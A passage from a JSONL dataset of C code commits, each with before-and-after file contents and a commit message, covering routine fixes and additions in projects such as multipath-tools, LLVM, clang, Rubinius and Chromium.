DEFAULT_CONFIGFILE\t\"\/etc\/multipath.conf\"\n#define DEFAULT_BINDINGS_FILE\t\"\/etc\/multipath\/bindings\"\n\nchar * set_default (char * str);\n","new_contents":"#define DEFAULT_GETUID\t\t\"\/lib\/udev\/scsi_id --whitelisted --replace-whitespace --device=\/dev\/%n\"\n#define DEFAULT_UDEVDIR\t\t\"\/dev\"\n#define DEFAULT_MULTIPATHDIR\t\"\/\" LIB_STRING \"\/multipath\"\n#define DEFAULT_SELECTOR\t\"round-robin 0\"\n#define DEFAULT_ALIAS_PREFIX\t\"mpath\"\n#define DEFAULT_FEATURES\t\"0\"\n#define DEFAULT_HWHANDLER\t\"0\"\n#define DEFAULT_MINIO\t\t1000\n#define DEFAULT_MINIO_RQ\t1\n#define DEFAULT_PGPOLICY       FAILOVER\n#define DEFAULT_FAILBACK       -FAILBACK_MANUAL\n#define DEFAULT_RR_WEIGHT      RR_WEIGHT_NONE\n#define DEFAULT_NO_PATH_RETRY  NO_PATH_RETRY_UNDEF\n#define DEFAULT_PGTIMEOUT      -PGTIMEOUT_NONE\n#define DEFAULT_USER_FRIENDLY_NAMES    0\n#define DEFAULT_VERBOSITY\t2\n\n#define DEFAULT_CHECKINT\t5\n#define MAX_CHECKINT(a)\t\t(a << 2)\n\n#define DEFAULT_PIDFILE\t\t\"\/var\/run\/multipathd.pid\"\n#define DEFAULT_SOCKET\t\t\"\/var\/run\/multipathd.sock\"\n#define DEFAULT_CONFIGFILE\t\"\/etc\/multipath.conf\"\n#define DEFAULT_BINDINGS_FILE\t\"\/etc\/multipath\/bindings\"\n\nchar * set_default (char * str);\n","subject":"Use '--replace-whitespace' option for scsi_id","message":"Use '--replace-whitespace' option for scsi_id\n\nSome SCSI devices will return an identifier with spaces in it.\nAs we're using this name as the default device-mapper name we\nshould be reformatting it to replace all spaces with underscores\nso as not to confuse device-mapper.\n\nReferences: bnc#572209\n\nSigned-off-by: Hannes Reinecke <b0d1e9e4a4e27620745ff49be9000da3174a4cc6@suse.de>\n","lang":"C","license":"lgpl-2.1","repos":"vijaychauhan\/multipath-tools,unakatsuo\/multipath-tools,unakatsuo\/multipath-tools,vijaychauhan\/multipath-tools,unakatsuo\/multipath-tools"}
{"commit":"8ef343ed77f1b614d859fee967741f951b59943f","old_file":"lily_vm.c","new_file":"lily_vm.c","old_contents":"#include \"lily_impl.h\"\n#include \"lily_symtab.h\"\n#include \"lily_opcode.h\"\n\nstatic void builtin_print(lily_symbol *s)\n{\n    if (s->val_type == vt_str)\n        lily_impl_send_html(((lily_strval *)s->sym_value)->str);\n}\n\nvoid lily_vm_execute(lily_symbol *sym)\n{\n    lily_symbol **regs;\n    int *code, ci;\n\n    regs = lily_impl_malloc(8 * sizeof(lily_symbol *));\n    code = sym->code_data->code;\n    ci = 0;\n\n    while (1) {\n        switch (code[ci]) {\n            case o_load_reg:\n                regs[code[ci+1]] = (lily_symbol *)code[ci+2];\n                ci += 3;\n                break;\n            case o_builtin_print:\n                builtin_print(regs[code[ci+1]]);\n                ci += 2;\n            case o_assign:\n                regs[code[ci]]->sym_value = (void *)code[ci+1];\n                regs[code[ci]]->val_type = (lily_val_type)code[ci+2];\n                ci += 3;\n            case o_vm_return:\n                free(regs);\n                return;\n        }\n    }\n}\n","new_contents":"#include \"lily_impl.h\"\n#include \"lily_symtab.h\"\n#include \"lily_opcode.h\"\n\nstatic void builtin_print(lily_symbol *s)\n{\n    if (s->val_type == vt_str)\n        lily_impl_send_html(((lily_strval *)s->sym_value)->str);\n}\n\nvoid lily_vm_execute(lily_symbol *sym)\n{\n    lily_symbol **regs;\n    int *code, ci;\n\n    regs = lily_impl_malloc(8 * sizeof(lily_symbol *));\n    code = sym->code_data->code;\n    ci = 0;\n\n    while (1) {\n        switch (code[ci]) {\n            case o_load_reg:\n                regs[code[ci+1]] = (lily_symbol *)code[ci+2];\n                ci += 3;\n                break;\n            case o_builtin_print:\n                builtin_print(regs[code[ci+1]]);\n                ci += 2;\n                break;\n            case o_assign:\n                regs[code[ci]]->sym_value = (void *)code[ci+1];\n                regs[code[ci]]->val_type = (lily_val_type)code[ci+2];\n                ci += 3;\n                break;\n            case o_vm_return:\n                free(regs);\n                return;\n        }\n    }\n}\n","subject":"Fix o_builtin_print and o_assign cases not breaking.","message":"vm: Fix o_builtin_print and o_assign cases not breaking.\n\nThis was causing the hello_world.ly test to segfault.\n","lang":"C","license":"mit","repos":"crasm\/lily,crasm\/lily,crasm\/lily,boardwalk\/lily,boardwalk\/lily"}
{"commit":"09eb6e7c2599f2deee888c751e7f547d7c64ce13","old_file":"test\/CFrontend\/2007-05-07-NestedStructReturn.c","new_file":"test\/CFrontend\/2007-05-07-NestedStructReturn.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -fnested-functions -o - | grep {sret *%agg.result}\n\nstruct X { int m, n, o, p; };\n\nstruct X p(int n) {\n  struct X c(int m) {\n    struct X x;\n    x.m = m;\n    x.n = n;\n    return x;\n  }\n  return c(n);\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -fnested-functions -o - | grep {sret *%agg.result}\n\nstruct X { long m, n, o, p; };\n\nstruct X p(int n) {\n  struct X c(int m) {\n    struct X x;\n    x.m = m;\n    x.n = n;\n    return x;\n  }\n  return c(n);\n}\n","subject":"Make the struct bigger, to ensure it is returned by struct return.","message":"Make the struct bigger, to ensure it is returned\nby struct return.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@50037 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"8ba15da9e2b2bc104a1ffec542aca9086369202b","old_file":"tests\/regression\/36-octapron\/34-large-bigint.c","new_file":"tests\/regression\/36-octapron\/34-large-bigint.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nvoid main() {\n  \/\/ requires bigint, not int64\n  unsigned long long x, y, z;\n  if (x < y && y < z) {\n    assert(x < y);\n    assert(y < z);\n    assert(x < z);\n\n    if (18446744073709551612ull <= x && z <= 18446744073709551615ull) {\n      assert(18446744073709551612ull <= x);\n      assert(x <= 18446744073709551613ull);\n      assert(18446744073709551613ull <= y);\n      assert(y <= 18446744073709551614ull);\n      assert(18446744073709551614ull <= z);\n      assert(z <= 18446744073709551615ull);\n\n      assert(x >= x - x); \/\/ avoid base from answering to check if octApron doesn't say x == -3\n      assert(y >= y - y); \/\/ avoid base from answering to check if octApron doesn't say y == -3\n      assert(z >= z - z); \/\/ avoid base from answering to check if octApron doesn't say z == -3\n    }\n  }\n}\n","subject":"Add octApron test where bigint is required","message":"Add octApron test where bigint is required\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"66dd652a48418ecdd7ed24fc8f9aa76918e94473","old_file":"src\/liborbit\/orbit_platforms.h","new_file":"src\/liborbit\/orbit_platforms.h","old_contents":"\/\/\n\/\/  orbit_platforms.h\n\/\/  OrbitVM\n\/\/\n\/\/  Created by Cesar Parent on 2016-11-14.\n\/\/  Copyright © 2016 cesarparent. All rights reserved.\n\/\/\n#ifndef OrbitPlatforms_h\n#define OrbitPlatforms_h\n\n#if __STDC_VERSION__ >= 199901L\n#define ORBIT_FLEXIBLE_ARRAY_MEMB   \n#else\n#define ORBIT_FLEXIBLE_ARRRAY_MEMB  0\n#endif\n\n#endif \/* OrbitPlatforms_h *\/\n","new_contents":"\/\/\n\/\/  orbit_platforms.h\n\/\/  OrbitVM\n\/\/\n\/\/  Created by Cesar Parent on 2016-11-14.\n\/\/  Copyright © 2016 cesarparent. All rights reserved.\n\/\/\n#ifndef OrbitPlatforms_h\n#define OrbitPlatforms_h\n\n#ifdef _WIN32\n#define ORBIT_PLATFORM \"Windows\"\n#elif __APPLE__\n#include \"TargetConditionals.h\"\n#if TARGET_IPHONE_SIMULATOR\n#define ORBIT_PLATFORM \"iOS-x86\"\n#elif TARGET_OS_IPHONE\n#define ORBIT_PLATFORM \"iOS-arm\"\n#elif TARGET_OS_MAC\n#define ORBIT_PLATFORM \"macOS\"\n#endif\n#elif __linux__\n#define ORBIT_PLATFORM \"Linux\"\n#elif __unix__\n#define ORBIT_PLATFORM \"UNIX\"\n#else\n#define ORBIT_PLATFORM \"Unknown Platform\"\n#endif\n\n#if __STDC_VERSION__ >= 199901L\n#define ORBIT_FLEXIBLE_ARRAY_MEMB   \n#else\n#define ORBIT_FLEXIBLE_ARRRAY_MEMB  0\n#endif\n\n#endif \/* OrbitPlatforms_h *\/\n","subject":"Add platform names in orbit_platform.h","message":"Add platform names in orbit_platform.h\n","lang":"C","license":"mit","repos":"amyinorbit\/orbitvm,amyinorbit\/orbitvm,amyinorbit\/orbitvm,cesarparent\/orbitvm,cesarparent\/orbitvm"}
{"commit":"e78f945e54fe4d6fb4ee5a0ac6eeb1a9d724e9b1","old_file":"vm\/capi\/defines.h","new_file":"vm\/capi\/defines.h","old_contents":"\/* Stub file provided for C extensions that expect it. All regular\n * defines and prototypes are in ruby.h\n *\/\n\n#define RUBY\n\n\/* These are defines directly related to MRI C-API symbols that the\n * mkmf.rb discovery code (e.g. have_func(\"rb_str_set_len\")) would\n * attempt to find by linking against libruby. Rubinius does not\n * have an appropriate lib to link against, so we are adding these\n * explicit defines for now.\n *\/\n#define HAVE_RB_STR_SET_LEN\n","new_contents":"\/* Stub file provided for C extensions that expect it. All regular\n * defines and prototypes are in ruby.h\n *\/\n\n#define RUBY\n\n\/* These are defines directly related to MRI C-API symbols that the\n * mkmf.rb discovery code (e.g. have_func(\"rb_str_set_len\")) would\n * attempt to find by linking against libruby. Rubinius does not\n * have an appropriate lib to link against, so we are adding these\n * explicit defines for now.\n *\/\n#define HAVE_RB_STR_SET_LEN\n#define HAVE_RB_DEFINE_ALLOC_FUNC\n","subject":"Define HAVE_RB_DEFINE_ALLOC_FUNC for postgres gem.","message":"Define HAVE_RB_DEFINE_ALLOC_FUNC for postgres gem.\n","lang":"C","license":"mpl-2.0","repos":"digitalextremist\/rubinius,kachick\/rubinius,kachick\/rubinius,jsyeo\/rubinius,Wirachmat\/rubinius,lgierth\/rubinius,dblock\/rubinius,Wirachmat\/rubinius,slawosz\/rubinius,lgierth\/rubinius,kachick\/rubinius,jsyeo\/rubinius,sferik\/rubinius,lgierth\/rubinius,jemc\/rubinius,Azizou\/rubinius,ruipserra\/rubinius,dblock\/rubinius,ruipserra\/rubinius,jemc\/rubinius,travis-repos\/rubinius,pH14\/rubinius,jsyeo\/rubinius,benlovell\/rubinius,mlarraz\/rubinius,ruipserra\/rubinius,lgierth\/rubinius,sferik\/rubinius,travis-repos\/rubinius,slawosz\/rubinius,ngpestelos\/rubinius,jemc\/rubinius,mlarraz\/rubinius,mlarraz\/rubinius,ngpestelos\/rubinius,ngpestelos\/rubinius,digitalextremist\/rubinius,dblock\/rubinius,dblock\/rubinius,pH14\/rubinius,sferik\/rubinius,heftig\/rubinius,dblock\/rubinius,jemc\/rubinius,jemc\/rubinius,benlovell\/rubinius,slawosz\/rubinius,mlarraz\/rubinius,Wirachmat\/rubinius,digitalextremist\/rubinius,ruipserra\/rubinius,Wirachmat\/rubinius,heftig\/rubinius,ngpestelos\/rubinius,Azizou\/rubinius,Azizou\/rubinius,pH14\/rubinius,jsyeo\/rubinius,ruipserra\/rubinius,Wirachmat\/rubinius,pH14\/rubinius,kachick\/rubinius,heftig\/rubinius,pH14\/rubinius,dblock\/rubinius,kachick\/rubinius,heftig\/rubinius,Azizou\/rubinius,kachick\/rubinius,lgierth\/rubinius,kachick\/rubinius,sferik\/rubinius,pH14\/rubinius,heftig\/rubinius,heftig\/rubinius,travis-repos\/rubinius,benlovell\/rubinius,benlovell\/rubinius,Wirachmat\/rubinius,pH14\/rubinius,sferik\/rubinius,mlarraz\/rubinius,jsyeo\/rubinius,digitalextremist\/rubinius,kachick\/rubinius,dblock\/rubinius,mlarraz\/rubinius,travis-repos\/rubinius,mlarraz\/rubinius,ngpestelos\/rubinius,slawosz\/rubinius,ngpestelos\/rubinius,lgierth\/rubinius,slawosz\/rubinius,jemc\/rubinius,ruipserra\/rubinius,jemc\/rubinius,slawosz\/rubinius,digitalextremist\/rubinius,benlovell\/rubinius,heftig\/rubinius,digitalextremist\/rubinius,jsyeo\/rubinius,sferik\/rubinius,ruipserra\/rubinius,sferik\/rubinius,Azizou\/rubinius,digitalextremist\/rubinius,benlovell\/rubinius,benlovell\/rubinius,slawosz\/rubinius,travis-repos\/rubinius,Azizou\/rubinius,travis-repos\/rubinius,Wirachmat\/rubinius,lgierth\/rubinius,ngpestelos\/rubinius,Azizou\/rubinius,jsyeo\/rubinius,travis-repos\/rubinius"}
{"commit":"7cadae9b8de07afaec308fb6b11d299cac1a67bc","old_file":"macros.h","new_file":"macros.h","old_contents":"#if __GNUC__ >= 4 && __GNUC_MINOR__ >= 6\n#define ACQUIRE_IMAGE_PIXELS(im, x, y, w, h, ex) ({ \\\n    _Pragma(\"GCC diagnostic push\") \\\n    _Pragma(\"GCC diagnostic ignored \\\"-Wdeprecated-declarations\\\"\") \\\n    AcquireImagePixels(im, x, y, w, h, ex); \\\n    _Pragma(\"GCC diagnostic pop\") \\\n})\n#else\n#define ACQUIRE_IMAGE_PIXELS(im, x, y, w, h, ex) AcquireImagePixels(im, x, y, w, h, ex)\n#endif\n","new_contents":"#if (__GNUC__ == 4 && __GNUC_MINOR__ >= 6) || (__GNUC__ > 4)\n#define ACQUIRE_IMAGE_PIXELS(im, x, y, w, h, ex) ({ \\\n    _Pragma(\"GCC diagnostic push\") \\\n    _Pragma(\"GCC diagnostic ignored \\\"-Wdeprecated-declarations\\\"\") \\\n    AcquireImagePixels(im, x, y, w, h, ex); \\\n    _Pragma(\"GCC diagnostic pop\") \\\n})\n#else\n#define ACQUIRE_IMAGE_PIXELS(im, x, y, w, h, ex) AcquireImagePixels(im, x, y, w, h, ex)\n#endif\n","subject":"Fix warnings building with GCC 5","message":"Fix warnings building with GCC 5\n","lang":"C","license":"mit","repos":"rainycape\/magick,rainycape\/magick,rainycape\/magick"}
{"commit":"8145f404c1628880a393a1422051aa4235ed2e0d","old_file":"WordPressCom-Stats-iOS\/StatsSection.h","new_file":"WordPressCom-Stats-iOS\/StatsSection.h","old_contents":"typedef NS_ENUM(NSInteger, StatsSection) {\n    StatsSectionGraph,\n    StatsSectionPeriodHeader,\n    StatsSectionEvents,\n    StatsSectionPosts,\n    StatsSectionReferrers,\n    StatsSectionClicks,\n    StatsSectionCountry,\n    StatsSectionVideos,\n    StatsSectionComments,\n    StatsSectionTagsCategories,\n    StatsSectionFollowers,\n    StatsSectionPublicize,\n    StatsSectionWebVersion\n};\n\ntypedef NS_ENUM(NSInteger, StatsSubSection) {\n    StatsSubSectionCommentsByAuthor = 100,\n    StatsSubSectionCommentsByPosts,\n    StatsSubSectionFollowersDotCom,\n    StatsSubSectionFollowersEmail,\n    StatsSubSectionNone\n};\n","new_contents":"typedef NS_ENUM(NSInteger, StatsSection) {\n    StatsSectionGraph,\n    StatsSectionPeriodHeader,\n    StatsSectionEvents,\n    StatsSectionPosts,\n    StatsSectionReferrers,\n    StatsSectionClicks,\n    StatsSectionCountry,\n    StatsSectionVideos,\n    StatsSectionAuthors,\n    StatsSectionSearchTerms,\n    StatsSectionComments,\n    StatsSectionTagsCategories,\n    StatsSectionFollowers,\n    StatsSectionPublicize,\n    StatsSectionWebVersion\n};\n\ntypedef NS_ENUM(NSInteger, StatsSubSection) {\n    StatsSubSectionCommentsByAuthor = 100,\n    StatsSubSectionCommentsByPosts,\n    StatsSubSectionFollowersDotCom,\n    StatsSubSectionFollowersEmail,\n    StatsSubSectionNone\n};\n","subject":"Add search terms and authors section to enum","message":"Add search terms and authors section to enum\n","lang":"C","license":"mit","repos":"wordpress-mobile\/WordPressCom-Stats-iOS,wordpress-mobile\/WordPressCom-Stats-iOS"}
{"commit":"580cc435808f83633892f76abb4147c16f6cf810","old_file":"You-QueryEngine\/internal\/task_graph.h","new_file":"You-QueryEngine\/internal\/task_graph.h","old_contents":"","new_contents":"\/\/\/ \\file task_graph.h\n\/\/\/ Defines the TaskGraph class\n\/\/\/ \\author A0112054Y\n\n#pragma once\n#ifndef YOU_QUERYENGINE_INTERNAL_TASK_GRAPH_H_\n#define YOU_QUERYENGINE_INTERNAL_TASK_GRAPH_H_\n\n#include <vector>\n#include \"..\/api.h\"\n\nnamespace You {\nnamespace QueryEngine {\nnamespace Internal {\n\n\/\/\/ Defines the task dependency graph\nclass TaskGraph {\n};\n\n}  \/\/ namespace Internal\n}  \/\/ namespace QueryEngine\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_QUERYENGINE_INTERNAL_TASK_GRAPH_H_\n","subject":"Add the stub for task graph","message":"Add the stub for task graph\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"72abb169d78b014b41c2471936f7891832c38fdb","old_file":"src\/tests\/marquise_hash_test.c","new_file":"src\/tests\/marquise_hash_test.c","old_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"..\/marquise.h\"\n\nvoid test_hash_identifier() {\n\tconst char *id = \"hostname:fe1.example.com,metric:BytesUsed,service:memory,\";\n\tsize_t id_len = strlen(id);\n\tuint64_t address = marquise_hash_identifier((const unsigned char*) id, id_len);\n\tg_assert_cmpint(address, ==, 7602883380529707052);\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/marquise_hash_identifier\/hash\", test_hash_identifier);\n\treturn g_test_run();\n}\n","new_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"..\/marquise.h\"\n\nvoid test_hash_identifier() {\n\tconst char *id = \"hostname:fe1.example.com,metric:BytesUsed,service:memory,\";\n\tsize_t id_len = strlen(id);\n\tuint64_t address = marquise_hash_identifier((const unsigned char*) id, id_len);\n\tg_assert_cmpint(address, ==, 7602883380529707052);\n}\n\nvoid test_hash_clear_lsb() {\n\tconst char *id = \"bytes:tx,collection_point:syd1,ip:110.173.152.33,\";\n\tsize_t id_len = strlen(id);\n\tuint64_t address = marquise_hash_identifier((const unsigned char*) id, id_len);\n\tg_assert_cmpint(address, ==, -8873247187777138600);\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/marquise_hash_identifier\/hash\", test_hash_identifier);\n\tg_test_add_func(\"\/marquise_hash_identifier\/clear_lsb\", test_hash_clear_lsb);\n\treturn g_test_run();\n}\n","subject":"Add test for LSB-clearing in marquise_hash_identifier","message":"Add test for LSB-clearing in marquise_hash_identifier\n","lang":"C","license":"bsd-3-clause","repos":"anchor\/libmarquise,anchor\/libmarquise"}
{"commit":"c5086f08be3c610fd97b541b9d61c1cdfb1f9637","old_file":"test\/CodeCompletion\/preamble.c","new_file":"test\/CodeCompletion\/preamble.c","old_contents":"#include \"some_struct.h\"\nvoid foo() {\n  struct X x;\n  x.\n\n\/\/ RUN: CINDEXTEST_EDITING=1 c-index-test -code-completion-at=%s:4:5 -Xclang -code-completion-patterns  %s | FileCheck -check-prefix=CHECK-CC1 %s\n\/\/ CHECK-CC1: FieldDecl:{ResultType int}{TypedText m} (35) (parent: StructDecl 'X')\n","new_contents":"#include \"some_struct.h\"\nvoid foo() {\n  struct X x;\n  x.\n\n\/\/ RUN: env CINDEXTEST_EDITING=1 c-index-test -code-completion-at=%s:4:5 -Xclang -code-completion-patterns  %s | FileCheck -check-prefix=CHECK-CC1 %s\n\/\/ CHECK-CC1: FieldDecl:{ResultType int}{TypedText m} (35) (parent: StructDecl 'X')\n","subject":"Add 'env' in hopes of making this test pass on Windows.","message":"Add 'env' in hopes of making this test pass on Windows.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@154785 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"5e2039ff24433d469ff05f9517dad1ccacabbd6f","old_file":"polygon.h","new_file":"polygon.h","old_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n#include <stdlib.h>\n#include <stdio.h>\n \n\/**\n * Declaration Point structure\n * x - real wich is the abscisse of the point\n * y - real wich is the ordinate of the point\n *\/\ntypedef struct\n{\n\tdouble x;\n \tdouble y;\n}Point;\n\n\/**\n * Declaration of the Element structure\n * value - value of the point of the current element of the polygon\n * next - pointer on the next element\n * previous - pointer on the previous element\n *\/\ntypedef struct pointelem{\n\n\tPoint value;\n\tstruct pointelem* next;\n\tstruct pointelem* previous;\n\n}PointElement;\n\n\/**\n * Declaration of the Polygon\n *\/\ntypedef struct {\n\n\tPointElement* head;\n\tint size;\n\n}Polygon;\n\n\/**\n * Function wich create a point with a specified abscisse and ordinate\n * abscisse - real\n * ordinate - real\n * return a new point\n *\/\nPoint createPoint(double abscisse, double ordinate);\n\n\/**\n * Function wich create a new empty Polygon\n * return the new empty polygon\n *\/\nPolygon createPolygon();\n\n\/**\n * Function wich add a point at the end of an existing polygon\n * inpoly - Polygon\n * inpoint - Point\n * return a new polygon\n *\/\nPolygon addPoint(Polygon inpoly, Point inpoint);\n","new_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n#include <stdlib.h>\n#include <stdio.h>\n \n\/**\n * Declaration Point structure\n * x - real wich is the abscisse of the point\n * y - real wich is the ordinate of the point\n *\/\ntypedef struct\n{\n\tdouble x;\n \tdouble y;\n}Point;\n\n\/**\n * Declaration of the Element structure\n * value - value of the point of the current element of the polygon\n * next - pointer on the next element\n * previous - pointer on the previous element\n *\/\ntypedef struct pointelem{\n\n\tPoint value;\n\tstruct pointelem* next;\n\tstruct pointelem* previous;\n\n}PointElement;\n\n\/**\n * Declaration of the Polygon\n *\/\ntypedef struct {\n\n\tPointElement* head;\n\tint size;\n\n}Polygon;\n\n\/**\n * Function wich create a point with a specified abscisse and ordinate\n * abscisse - real\n * ordinate - real\n * return a new point\n *\/\nPoint createPoint(double abscisse, double ordinate);\n\n\/**\n * Function wich create a new empty Polygon\n * return the new empty polygon\n *\/\nPolygon createPolygon();\n\n\/**\n * Function wich add a point at the end of an existing polygon\n * inpoly - Polygon\n * inpoint - Point\n * return a new polygon\n *\/\nPolygon addPoint(Polygon inpoly, Point inpoint);\n\n\/**\n * Function wich remove a point at a given place in an existing polygon\n * inpoly - Polygon\n * index - int\n * return a new polygon\n *\/\nPolygon removePoint(Polygon inpoly, int index);\n","subject":"Add the prototype for removePoint","message":"Add the prototype for removePoint\n","lang":"C","license":"mit","repos":"UTBroM\/GeometricLib"}
{"commit":"149fb0729d1136bbad077be0d1e29fe47c4e22ab","old_file":"webkit\/glue\/webkit_constants.h","new_file":"webkit\/glue\/webkit_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 1.0;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 0.004;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","subject":"Revert 75430 because it's causing failures in dom_checker_tests. : Increase the minimum interval for timers on background tabs to reduce their CPU consumption.","message":"Revert 75430 because it's causing failures in dom_checker_tests.\n: Increase the minimum interval for timers on background tabs to reduce\ntheir CPU consumption.\n\nThe new interval is 1000 ms, or once per second. We can easily adjust\nthis value up or down, but this seems like a reasonable value to judge\nthe compatibility impact of this change.\n\nBUG=66078\nTEST=none (tested manually with minimal test case)\n\nReview URL: http:\/\/codereview.chromium.org\/6546021\n\nTBR=kbr@google.com\nReview URL: http:\/\/codereview.chromium.org\/6538073\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@75490 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium"}
{"commit":"fbc9dce9bce1097692f5ce1bbab2d6b4ac2297e6","old_file":"ext\/foo\/foo_vector.h","new_file":"ext\/foo\/foo_vector.h","old_contents":"\/\/ ext\/foo\/foo_vector.h\n\n\n\/\/ Declarations for wrapped struct\n\n#ifndef FOO_VECTOR_H\n#define FOO_VECTOR_H\n\n#include <ruby.h>\n#include <math.h>\n\n\/\/ Ruby 1.8.7 compatibility patch\n#ifndef DBL2NUM\n#define DBL2NUM( dbl_val ) rb_float_new( dbl_val )\n#endif\n\nvoid init_foo_vector( VALUE parent_module );\n\n\/\/ This is the struct that the rest of the code wraps\ntypedef struct _fv {\n    double x;\n    double y;\n    double z;\n  } FVStruct;\n\n#endif","new_contents":"\/\/ ext\/foo\/foo_vector.h\n\n\n\/\/ Declarations for wrapped struct\n\n#ifndef FOO_VECTOR_H\n#define FOO_VECTOR_H\n\n#include <ruby.h>\n#include <math.h>\n\n\/\/ Ruby 1.8.7 compatibility patch\n#ifndef DBL2NUM\n#define DBL2NUM( dbl_val ) rb_float_new( dbl_val )\n#endif\n\nvoid init_foo_vector( VALUE parent_module );\n\n\/\/ This is the struct that the rest of the code wraps\ntypedef struct _fv {\n    double x;\n    double y;\n    double z;\n  } FVStruct;\n\nFVStruct *create_fv_struct();\nvoid destroy_fv_struct( FVStruct *fv );\nFVStruct *copy_fv_struct( FVStruct *orig );\ndouble fv_magnitude( FVStruct *fv );\n\n#endif","subject":"Add sharable methods to header file","message":"Add sharable methods to header file\n","lang":"C","license":"mit","repos":"neilslater\/ruby_nex_c,neilslater\/ruby_nex_c"}
